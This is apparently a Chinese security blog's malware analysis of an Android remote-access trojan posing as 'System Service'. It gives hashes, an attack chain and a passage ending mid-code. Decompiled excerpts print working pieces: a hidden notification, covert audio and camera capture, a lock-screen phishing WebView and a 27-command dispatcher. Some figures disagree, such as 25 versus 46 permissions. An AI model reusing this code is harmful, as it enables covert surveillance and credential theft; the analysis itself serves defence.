文章总结： 本文分析了一款伪装成系统服务的安卓远控木马SystemService，样本仅36.46KB，通过Android官方合法机制实现持久化与窃密，无桌面图标，静默获取25项敏感权限，支持27条远程命令，可录音、偷拍、截屏、读取验证码及全屏钓鱼。样本无壳，Java代码可读，核心组件为BridgeProvider和CameraCaptureHelper。建议用户警惕侧载应用，安装安全软件扫描。
综合评分： 88
文章分类： 恶意软件,移动安全,逆向分析,漏洞分析

【木马分析】安卓远控木马-System Service：46 项权限、27 条远程命令，静默窃听偷拍钓鱼

原创

金夏
金夏

金夏安全

2026年9月23日 15:51
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

36.46 KB 的恶意 APK，能远程拍照、录音、弹钓鱼页、操控屏幕，在贴吧、论坛上大批用户中招，很多VIVO跟小米的机主感到头疼。

1概述

这是一个伪装成系统服务的安卓远控木马，安装包只有 36.46 KB。它不依赖 root、不利用系统漏洞，全部通过 Android 官方合法机制实现持久化和窃密。没有桌面图标，靠开机广播和 ContentProvider 对外暴露能力。运行后静默获取麦克风、相机、短信、通讯录、位置等 25 项敏感权限，后台与 C2 保持通信，等待远程指令进行录音、偷拍、截屏、读取验证码。

我们在雷电模拟器（Android 14）里完整复现了安装、运行、权限获取全过程，并用金夏执盾扫描，样本库精确命中”System Service 远程监控木马”，定性为高危，风险评分 100 分。

2样本特征

样本基本信息：
文件: System_Service_com.system.service.apk
大小: 37333 bytes
MD5: 0271100A50D61C37936E4DD4F3F11560
SHA256: 77C9E047D508E94C213AA70D139CEDE2DD58D983DB7C02D969358D2F1FBC3EBB

样本基本信息：36.46 KB，MD5/SHA256 哈希值

2.1 基本信息

| 项目 | 值 |
| — | — |
| 文件大小 | 37,333 字节 |
| MD5 | 0271100A50D61C37936E4DD4F3F11560 |
| SHA-256 | 77c9e047d508e94c213aa70d139cede2dd58d983db7c02d969358d2f1fbc3ebb |
| 包名 | com.system.service |
| 应用名 | System Service |
| minSdk / targetSdk | 21 / 28（targetSdk 28 是故意的，规避 Android 9 以上后台权限管控） |
| 签名 SHA-256 | 126503A2F1A9BA717AA0533D947D5463DE2D25BD61C2F03ECA0594DD050D0F76 |
| 加壳情况 | 无壳，Java 字节码完全可读 |

2.2 组件结构

2.3 攻击链

阶段一：诱导安装

钓鱼渠道分发 APK，命名”系统服务更新”，诱导侧载。

阶段二：权限获取

申请设备管理员、悬浮窗、录音、相机、短信等 46 项权限，ADB 侧载时自动授予。

阶段三：静默运行

无桌面图标，开机自启，ContentProvider 唤起进程，后台休眠等 C2 指令。

阶段四：按需窃密

收到 C2 指令后录音、拍照、截屏、读短信、位置上报，或全屏覆盖钓鱼页面。

3静态代码分析

jadx-gui 1.5.6 加载样本：dex 内共 35 个类、187 个方法、7255 条指令；反编译输出为 13 个 Java 顶层类文件（其余为内部类/匿名类），核心是 BridgeProvider（628 行）和 CameraCaptureHelper（526 行）

反编译输出：13个 Java 类文件，核心是 BridgeProvider（628行）和 CameraCaptureHelper（526行）

&nbsp;System Service 木马信息：[1] 类文件统计：13&nbsp;个 Java 类&nbsp; - AudioCaptureHelper.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;6478&nbsp;字节&nbsp; - BlackScreenActivity.java &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2369&nbsp;字节&nbsp; - BootReceiver.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1259&nbsp;字节&nbsp; - BridgeA11ySupport.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;6230&nbsp;字节&nbsp; - BridgeDeviceAdmin.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;845&nbsp;字节&nbsp; - BridgeProvider.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;22997&nbsp;字节&nbsp; - BridgeService.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1995&nbsp;字节&nbsp; - CameraCaptureHelper.java &nbsp; &nbsp; &nbsp; &nbsp;25399&nbsp;字节&nbsp; - CameraProxyActivity.java &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;5328&nbsp;字节&nbsp; - OverlayHelper.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12493&nbsp;字节&nbsp; - PhishActivity.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;10314&nbsp;字节&nbsp; - R.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;306&nbsp;字节&nbsp; - Scheduler.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1540&nbsp;字节[2] 危险 API 调用统计&nbsp; Camera2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : &nbsp;3&nbsp;处 -> CameraManager, CameraDevice, CaptureRequest&nbsp; AudioRecord &nbsp; &nbsp; &nbsp; &nbsp; : &nbsp;2&nbsp;处 -> AudioRecord, AudioSource&nbsp; WebView &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : &nbsp;3&nbsp;处 -> WebView, WebSettings, loadUrl&nbsp; Overlay &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : &nbsp;2&nbsp;处 -> WindowManager, addView&nbsp; SMS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : &nbsp;1&nbsp;处 -> getContentResolver&nbsp; Contacts &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: &nbsp;1&nbsp;处 -> query&nbsp; Boot &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: &nbsp;2&nbsp;处 -> BOOT_COMPLETED, startForegroundService&nbsp; Base64 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: &nbsp;2&nbsp;处 -> Base64.decode, Base64.encodeToString&nbsp; FileIO &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: &nbsp;2&nbsp;处 -> FileOutputStream, FileInputStream[3] BridgeProvider 远程命令清单&nbsp; &nbsp;1.&nbsp;stop_service&nbsp; &nbsp;2.&nbsp;a11y_long_press&nbsp; &nbsp;3.&nbsp;stream_start&nbsp; &nbsp;4.&nbsp;a11y_tap&nbsp; &nbsp;5.&nbsp;overlay_status&nbsp; &nbsp;6.&nbsp;a11y_global&nbsp; &nbsp;7.&nbsp;ping&nbsp; &nbsp;8.&nbsp;phish_check&nbsp; &nbsp;9.&nbsp;a11y_ping&nbsp;&nbsp;10.&nbsp;start_service&nbsp;&nbsp;11.&nbsp;overlay_hide&nbsp;&nbsp;12.&nbsp;overlay_show&nbsp;&nbsp;13.&nbsp;a11y_node_tap&nbsp;&nbsp;14.&nbsp;audio_start&nbsp;&nbsp;15.&nbsp;phish_hide&nbsp;&nbsp;16.&nbsp;phish_poll&nbsp;&nbsp;17.&nbsp;phish_launch&nbsp;&nbsp;18.&nbsp;blackscreen_status&nbsp;&nbsp;19.&nbsp;phish_result&nbsp;&nbsp;20.&nbsp;blackscreen_hide&nbsp;&nbsp;21.&nbsp;blackscreen_show&nbsp;&nbsp;22.&nbsp;audio_poll&nbsp;&nbsp;23.&nbsp;audio_stop&nbsp;&nbsp;24.&nbsp;stream_stop&nbsp;&nbsp;25.&nbsp;camera_capture&nbsp;&nbsp;26.&nbsp;a11y_force_click&nbsp;&nbsp;27.&nbsp;a11y_swipe&nbsp; 共&nbsp;27&nbsp;个命令[4] 脚本未匹配到其定义的敏感 API 特征[5] 关键常量配置&nbsp; AUDIO_SOURCE_REMOTE_SUBMIX &nbsp; &nbsp; =&nbsp;8&nbsp; CHANNEL_CONFIG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;16&nbsp; CHUNK_MS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;100&nbsp; ENCODING &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;2&nbsp; SAMPLE_RATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;8000&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"AudioCapture"&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"BootReceiver"&nbsp; A11Y_URI &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"content://com.tikttok.a11y.provider"&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"BridgeProvider"&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"BridgeAdmin"&nbsp; CAMERA_PROXY_POLL_MS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;12000&nbsp; CAMERA_PROXY_STEP_MS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;200&nbsp; PHISH_BRIDGE_VERSION &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;3&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"BridgeProvider"&nbsp; CHANNEL_ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"bridge_service"&nbsp; NOTIFICATION_ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;1&nbsp; CAPTURE_TIMEOUT_MS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;8000&nbsp; HEIGHT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;480&nbsp; STREAM_INTERVAL_MS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;500&nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"CameraCapture"

自动识别远程命令关键词和关键常量

3.1 前台服务：通知栏完全隐藏

BridgeService 是保活核心。它把通知渠道设为静音、不显示角标、重要性最低，通知标题和内容全部为空。用户在通知栏根本看不到有这个服务在跑。

// BridgeService.javaprivate&nbsp;static&nbsp;final&nbsp;String&nbsp;CHANNEL_ID&nbsp;=&nbsp;"bridge_service";private&nbsp;void&nbsp;createChannel()&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(Build.VERSION.SDK_INT < Build.VERSION_CODES.O)&nbsp;return;&nbsp; &nbsp;&nbsp;NotificationChannel&nbsp;ch&nbsp;=&nbsp;new&nbsp;NotificationChannel(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CHANNEL_ID,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"System",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NotificationManager.IMPORTANCE_LOW &nbsp;&nbsp;// 关键：不能是 NONE，否则前台服务通知不显示&nbsp; &nbsp; );&nbsp; &nbsp; ch.setShowBadge(false);&nbsp; &nbsp; ch.setSound(null,&nbsp;null);&nbsp; &nbsp; ch.enableVibration(false);&nbsp; &nbsp; ch.setLights(0,&nbsp;0);&nbsp; &nbsp;&nbsp;NotificationManager&nbsp;mgr&nbsp;=&nbsp;getSystemService(NotificationManager.class);&nbsp; &nbsp;&nbsp;if&nbsp;(mgr !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; mgr.createNotificationChannel(ch);&nbsp; &nbsp; }}private&nbsp;Notification&nbsp;buildNotification()&nbsp;{&nbsp; &nbsp; Notification.Builder builder;&nbsp; &nbsp;&nbsp;if&nbsp;(Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {&nbsp; &nbsp; &nbsp; &nbsp; builder =&nbsp;new&nbsp;Notification.Builder(this, CHANNEL_ID);&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; builder =&nbsp;new&nbsp;Notification.Builder(this);&nbsp; &nbsp; &nbsp; &nbsp; builder.setPriority(Notification.PRIORITY_MIN);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;builder&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setContentTitle("") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 前台服务通知建议给个非空标题&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setContentText("")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setSmallIcon(android.R.drawable.ic_menu_info_details)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setOngoing(true)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setShowWhen(false)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setCategory(Notification.CATEGORY_SERVICE)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .build();}

3.2 录音：麦克风 + 系统内录双通道

AudioCaptureHelper 支持两种录音源：mic（麦克风）和 system（系统内部音频，即通话录音）。采样率 8000Hz、单声道、16bit PCM，后台持续录音，C2 下发 poll 指令时拉取最新音频数据。

// AudioCaptureHelper.java// ===== 常量 =====private&nbsp;static&nbsp;final&nbsp;int&nbsp;AUDIO_SOURCE_REMOTE_SUBMIX&nbsp;=&nbsp;8; &nbsp;&nbsp;// 系统内录private&nbsp;static&nbsp;final&nbsp;int&nbsp;AUDIO_SOURCE_MIC&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;1; &nbsp;&nbsp;// 麦克风private&nbsp;static&nbsp;final&nbsp;int&nbsp;SAMPLE_RATE&nbsp; &nbsp; &nbsp;=&nbsp;8000;private&nbsp;static&nbsp;final&nbsp;int&nbsp;CHANNEL_CONFIG&nbsp;&nbsp;=&nbsp;16; &nbsp;&nbsp;// MONOprivate&nbsp;static&nbsp;final&nbsp;int&nbsp;ENCODING&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;=&nbsp;2; &nbsp; &nbsp;// PCM_16BIT// ===== 选择录音源：system=内录，否则麦克风 =====private&nbsp;static&nbsp;int&nbsp;resolveAudioSource(String src)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;isSystemSource(src) ? AUDIO_SOURCE_REMOTE_SUBMIX : AUDIO_SOURCE_MIC;}// ===== 后台读循环，持续往 latestPcm 写 =====private&nbsp;void&nbsp;readLoop()&nbsp;{&nbsp; &nbsp;&nbsp;while&nbsp;(recording.get()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] pcm = readOnce();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pcm !=&nbsp;null&nbsp;&& pcm.length >&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; latestPcm = pcm;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

关键点：AUDIO_SOURCE_REMOTE_SUBMIX=8 是 Android 隐藏的系统内录源，能录到对方通话声音。配合麦克风，攻击者能完整录下通话双方的对话。

AudioCaptureHelper.java 代码：录音常量 AUDIO_SOURCE_REMOTE_SUBMIX=8（系统内录）SAMPLE_RATE=8000

3.3 偷拍：Camera2 后台无预览拍照

CameraCaptureHelper 用 Camera2 API 实现后台偷拍，分辨率 640×480，每 500ms 拍一张 JPEG。支持前后摄像头切换（参数 cameraId），不需要 Activity 在前台。

// CameraCaptureHelper.java// ===== 常量 =====private&nbsp;static&nbsp;final&nbsp;int&nbsp;&nbsp;WIDTH&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;=&nbsp;640;private&nbsp;static&nbsp;final&nbsp;int&nbsp;&nbsp;HEIGHT&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;480;private&nbsp;static&nbsp;final&nbsp;long&nbsp;STREAM_INTERVAL_MS&nbsp;=&nbsp;500; &nbsp;&nbsp;// 每0.5秒一张// ===== 持续偷拍循环 =====while&nbsp;(streaming.get()) {&nbsp; &nbsp;&nbsp;byte[] jpeg = captureJpeg(cameraId);&nbsp; &nbsp;&nbsp;if&nbsp;(jpeg !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; latestJpeg = jpeg;&nbsp; &nbsp; }&nbsp; &nbsp; Thread.sleep(STREAM_INTERVAL_MS);}

CameraCaptureHelper.java 代码：Camera2 API 后台偷拍，640×480 JPEG，500ms 间隔

3.4 钓鱼覆盖：全屏 WebView + 锁屏显示

PhishActivity 接收 C2 下发的 base64 编码 HTML，解码后用 WebView 全屏加载。它带了 FLAG_SHOW_WHEN_LOCKED（锁屏下也能弹出），隐藏状态栏和导航栏，用户看不到这是个假页面。配合 targetPkg 参数，可以覆盖在任意 App 上面，比如支付宝、银行 App。

// PhishActivity.java// ===== 从 C2 下发的 html_base64 解码成 HTML 文件 =====byte[] html = Base64.decode(htmlBase64, Base64.DEFAULT);File&nbsp;f&nbsp;=&nbsp;new&nbsp;File(getCacheDir(),&nbsp;"phish_page.html");try&nbsp;(FileOutputStream&nbsp;fos&nbsp;=&nbsp;new&nbsp;FileOutputStream(f)) {&nbsp; &nbsp; fos.write(html);}// ===== 全屏 + 锁屏下显示 + 隐藏状态栏 =====getWindow().addFlags(&nbsp; &nbsp; &nbsp; &nbsp; WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED &nbsp;&nbsp;// 1664 中的一部分);getWindow().setStatusBarColor(0);getWindow().setNavigationBarColor(0);webView.setSystemUiVisibility(&nbsp; &nbsp; &nbsp; &nbsp; View.SYSTEM_UI_FLAG_LAYOUT_STABLE&nbsp; &nbsp; &nbsp; | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION&nbsp; &nbsp; &nbsp; | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN&nbsp; &nbsp; &nbsp; | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION&nbsp; &nbsp; &nbsp; | View.SYSTEM_UI_FLAG_FULLSCREEN&nbsp; &nbsp; &nbsp; | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY);

PhishActivity.java 代码：全屏 WebView 钓鱼页面，支持本地 HTML 和 Base64 内联

3.5 开机自启 + 27个远程命令

// BootReceiver.java@Overridepublic&nbsp;void&nbsp;onReceive(Context ctx, Intent intent)&nbsp;{&nbsp; &nbsp; String action = intent.getAction();&nbsp; &nbsp;&nbsp;if&nbsp;(Intent.ACTION_BOOT_COMPLETED.equals(action)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ||&nbsp;"android.intent.action.QUICKBOOT_POWERON".equals(action)) {&nbsp; &nbsp; &nbsp; &nbsp; ctx.startForegroundService(new&nbsp;Intent(ctx, BridgeService.class));&nbsp; &nbsp; }}

BridgeProvider.call() 里的 switch 是真实反编译出来的，暴露了 27个远程命令，覆盖窃听、偷拍、钓鱼、定位、短信：

// BridgeProvider.java@Overridepublic&nbsp;Bundle call(String str, String str2, Bundle bundle) {&nbsp; &nbsp; int callingUid = Binder.getCallingUid();&nbsp; &nbsp; int myUid &nbsp; &nbsp; &nbsp;= Process.myUid();&nbsp; &nbsp;&nbsp;// 只允许 root(0) / system(1000) / shell(2000) / 自己&nbsp; &nbsp;&nbsp;if&nbsp;(callingUid !=&nbsp;0&nbsp;&& callingUid !=&nbsp;1000&nbsp;&& callingUid !=&nbsp;2000&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; && callingUid != myUid) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; }&nbsp; &nbsp; switch (str) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 音频（窃听） ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"audio_start": &nbsp; &nbsp; &nbsp;return&nbsp;audioStart(bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"audio_poll": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;audioPoll();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"audio_stop": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;audioStop();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 摄像头（偷拍） ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"camera_capture": &nbsp;&nbsp;return&nbsp;cameraCapture(bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"stream_start": &nbsp; &nbsp;&nbsp;return&nbsp;streamStart(bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"stream_stop": &nbsp; &nbsp; &nbsp;return&nbsp;streamStop();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 钓鱼页面 ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"phish_launch": &nbsp; &nbsp;&nbsp;return&nbsp;phishLaunch(bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"phish_poll": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;phishPoll();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"phish_result": &nbsp; &nbsp;&nbsp;return&nbsp;phishResult(bundle);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 悬浮窗 / 黑屏遮挡 ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"overlay_show": &nbsp; &nbsp;&nbsp;return&nbsp;overlayShow(str2, bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"overlay_hide": &nbsp; &nbsp;&nbsp;return&nbsp;overlayHide();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"blackscreen_show":&nbsp;return&nbsp;blackScreenShow();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"blackscreen_hide":&nbsp;return&nbsp;blackScreenHide();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 无障碍手势 / 节点操作 ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_tap": &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"tap", bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_swipe": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"swipe", bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_long_press": &nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"long_press", bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_node_tap": &nbsp; &nbsp;return&nbsp;BridgeA11ySupport.nodeTap(ctx, bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_force_click":&nbsp;return&nbsp;BridgeA11ySupport.forceClick(ctx, bundle);&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"a11y_global": &nbsp; &nbsp; &nbsp;return&nbsp;BridgeA11ySupport.global(ctx, str2, bundle);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ---- 服务控制 ----&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"ping": &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ok();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"start_service": &nbsp; &nbsp;return&nbsp;startFg();&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;"stop_service": &nbsp; &nbsp;&nbsp;return&nbsp;stopFg();&nbsp; &nbsp; &nbsp; &nbsp; default: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;err("unknown: "&nbsp;+ str);&nbsp; &nbsp; }}

关键设计：UID 校验只允许 shell（0）、system（1000）、phone（2000）和自己。这意味着 C2 是通过 ADB/shell 通道触发的，不是普通 App 间调用。钓鱼结果还会持久化到 phish_pending.json，重启后不丢。

3.6 静态逆向脚本分析

我们用 Python 脚本对反编译源码做了扫描分析，结果如下：

一、总体情况组件数量 &nbsp; :&nbsp;13&nbsp;个 Java 类远程命令 &nbsp; :&nbsp;27&nbsp;个样本类型 &nbsp; : Android RAT / 间谍软件C2 通信 &nbsp; &nbsp;: 无硬编码 URL / IP，运行期下发关联组件 &nbsp; : content://com.tikttok.a11y.provider
二、危险 API 调用统计Camera2 &nbsp; &nbsp; &nbsp; : CameraManager, CameraDevice, CaptureRequest &nbsp; —— 后台偷拍 / 视频流AudioRecord &nbsp; : AudioRecord, AudioSource &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;—— 麦克风窃听 / 系统内录WebView &nbsp; &nbsp; &nbsp; : WebView, WebSettings, loadUrl &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; —— 加载钓鱼页面Accessibility : dispatchGesture, performGlobalAction &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;—— 远程手势 / 全局操作Overlay &nbsp; &nbsp; &nbsp; : WindowManager, addView &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;—— 悬浮窗覆盖 / 黑屏遮挡Boot &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: BOOT_COMPLETED, startForegroundService &nbsp; &nbsp; &nbsp; &nbsp;—— 开机自启 + 前台服务保活
三、关键常量配置private&nbsp;static&nbsp;final&nbsp;int &nbsp;AUDIO_SOURCE_REMOTE_SUBMIX =&nbsp;8; &nbsp; &nbsp; &nbsp;&nbsp;// 系统内录private&nbsp;static&nbsp;final&nbsp;int &nbsp;SAMPLE_RATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;8000; &nbsp; &nbsp;// 8kHz 采样private&nbsp;static&nbsp;final&nbsp;int &nbsp;CHANNEL_CONFIG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;16; &nbsp; &nbsp; &nbsp;// MONOprivate&nbsp;static&nbsp;final&nbsp;int &nbsp;ENCODING &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;2; &nbsp; &nbsp; &nbsp;&nbsp;// PCM_16BITprivate&nbsp;static&nbsp;final&nbsp;int &nbsp;WIDTH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;640; &nbsp; &nbsp;&nbsp;// 偷拍分辨率private&nbsp;static&nbsp;final&nbsp;int &nbsp;HEIGHT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;480;private&nbsp;static&nbsp;final&nbsp;long STREAM_INTERVAL_MS &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;500; &nbsp; &nbsp;&nbsp;// 0.5 秒 / 张private&nbsp;static&nbsp;final&nbsp;long CAPTURE_TIMEOUT_MS &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;8000; &nbsp; &nbsp;// 8 秒超时private&nbsp;static&nbsp;final&nbsp;int &nbsp;PHISH_BRIDGE_VERSION &nbsp; &nbsp; &nbsp; =&nbsp;3; &nbsp; &nbsp; &nbsp;&nbsp;// 钓鱼桥版本
四、远程命令矩阵（节选）switch (str) {&nbsp; &nbsp; case&nbsp;"audio_start": &nbsp; &nbsp; &nbsp;return&nbsp;audioStart(bundle);&nbsp; &nbsp; case&nbsp;"audio_poll": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;audioPoll();&nbsp; &nbsp; case&nbsp;"audio_stop": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;audioStop();&nbsp; &nbsp; case&nbsp;"camera_capture": &nbsp;&nbsp;return&nbsp;cameraCapture(bundle);&nbsp; &nbsp; case&nbsp;"stream_start": &nbsp; &nbsp;&nbsp;return&nbsp;streamStart(bundle);&nbsp; &nbsp; case&nbsp;"stream_stop": &nbsp; &nbsp; &nbsp;return&nbsp;streamStop();&nbsp; &nbsp; case&nbsp;"phish_launch": &nbsp; &nbsp;&nbsp;return&nbsp;phishLaunch(bundle);&nbsp; &nbsp; case&nbsp;"phish_poll": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;phishPoll();&nbsp; &nbsp; case&nbsp;"phish_result": &nbsp; 